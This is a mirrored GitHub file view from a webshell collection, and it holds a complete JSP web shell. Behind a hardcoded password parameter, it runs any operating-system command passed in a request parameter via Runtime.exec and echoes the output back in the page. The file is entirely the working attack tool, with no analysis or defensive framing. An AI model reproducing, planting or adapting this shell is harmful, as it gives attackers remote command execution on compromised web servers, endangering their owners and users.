mirror of
https://github.com/tennc/webshell
synced 2024-11-29 14:40:17 +00:00
16 lines
564 B
Text
16 lines
564 B
Text
|
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
|
||
|
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
|
||
|
<jsp:scriptlet>
|
||
|
if("sin".equals(request.getParameter("pwd"))){
|
||
|
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
|
||
|
int a = -1;
|
||
|
byte[] b = new byte[2048];
|
||
|
out.print("<pre>");
|
||
|
while((a=in.read(b))!=-1){
|
||
|
out.println(new String(b));
|
||
|
}
|
||
|
out.print("</pre>");
|
||
|
}
|
||
|
</jsp:scriptlet>
|
||
|
</jsp:root>
|